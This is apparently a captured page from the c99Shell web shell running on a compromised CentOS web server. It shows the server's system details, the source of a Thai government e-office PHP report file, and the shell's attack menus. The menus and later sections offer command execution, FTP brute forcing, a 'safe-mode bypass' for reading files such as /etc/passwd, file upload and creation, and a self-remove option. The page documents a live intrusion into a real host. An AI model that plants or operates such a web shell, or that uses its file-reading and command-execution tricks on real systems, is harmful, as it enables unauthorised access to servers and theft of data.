!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printRunningDocHTML.php (4.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDt = new doctype($oC);
$oRd = new runningdoc($oC);
$InputThai=$oSys->SearchByInputThai();
$maxgroup=$oDP->SearchMaxDocGroup();
$oRd->SearchByconfirmRunAll($maxgroup);
$oRd->GetRecord();
$confirm=$oRd->confirm;
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<title>รายงานเลขทะเบียนหนังสือราชการที่ใช้ร่วมกัน</title>
<body>
<br>
<table  width="95%"  align="center">
<tr>
    <td align="center"><b>รายงานเลขทะเบียนหนังสือราชการที่ใช้ร่วมกัน</b></td>
  </tr>
<tr><td>&nbsp;</td></tr>
<tr>
    <td> 
      <table width="100%"  border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#000000" style="border-collapse:collapse">
          <tr  height="22"> 
            <td width= "23%" align="center"><font size="2"><strong>ทะเบียนหนังสือ</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนรับ<br>เริ่มต้น</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนรับ<br>ปัจจุบัน</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนส่ง<br>เริ่มต้น</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนส่ง<br>ปัจจุบัน</strong></font></td>
              <td width="12%" align="center"><font size="2"><strong>เลขที่เริ่มต้น<br>&nbsp;</strong></font></td>
              <td width="12%" align="center"><font size="2"><strong>เลขที่<br>ปัจจุบัน</strong></font></td>
          </tr>
          <? $oDt->RSdoctypeDtRunAll(); 
                  while(
$oDt->GetRecord()){  
                    if(
$oDt->DtP=="1"){
                            echo 
"<tr height=22><td colspan=7 align=\"left\">&nbsp;&nbsp;"; if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  } echo "ทะเบียน".$oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong></td></tr>";  }         
                    }else{    
                             
$oRd->SearchBydocGroupDtIDdocNoMixY($maxgroup,$oDt->DtID);
                             
$oRd->GetRecord();
            
?>
          <tr height=22>
          <td align="left">&nbsp;&nbsp;<? if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  }  ?>ทะเบียน<? echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong>";  } ?></td>
          <td align="center">
          <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
          <? if($confirm=="Y"){  if($oRd->receiveNoStart!=0){  echo a2th($oRd->receiveNoStart); }   }else{ echo "&nbsp;"; }} ?>
          </td>
            <td align="center"> 
              <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
              <? if($confirm=="Y"){  if($oRd->receiveNoStart!=0){   if($oRd->receiveNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";    }else{   echo  a2th($oRd->receiveNo);  } }  }else{   if($oRd->receiveNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";     }else{  echo a2th($oRd->receiveNo);  }  } }?>
            </td>
          <td align="center">
          <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
          <? if($confirm=="Y"){  if($oRd->sendNoStart!=0){  echo a2th($oRd->sendNoStart); }     }else{ echo "&nbsp;"; }} ?>
            </td>          
          <td align="center">
          <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
          <? if($confirm=="Y"){  if($oRd->sendNoStart!=0){   if($oRd->sendNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";    }else{   echo  a2th($oRd->sendNo);}  }  }else{    if($oRd->sendNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";     }else{  echo a2th($oRd->sendNo);  }  }  }?></td>
          <td align="center">
            <? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?>
            <? if($confirm=="Y"){  if($oRd->regisNoStart!=0){  echo a2th($oRd->regisNoStart); }   }else{  echo "&nbsp;";?>
            <? } } ?>
          </td>
          <td align="center"><? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?><? if($confirm=="Y"){  if($oRd->regisNoStart!=0){    if($oRd->regisNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";    }else{  echo  a2th($oRd->regisNo);  }  }  }else{    if($oRd->regisNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";     }else{  echo a2th($oRd->regisNo);  }   } ?><? ?></td>
          </tr>
          <?  //show
             
}  //while ?>
        </table>
      </td></tr>
                              </tr>
                               <tr><td>&nbsp;</td></tr>
      <tr>
        <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">วันที่พิมพ์ : <?php echo abbreDate2((date('Y')+543).'-'.date('m').'-'.date('d')).'&nbsp;'.a2th(date('H:i:s'));?></font></td>
    </tr>
      </table>
      </body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0152 ]--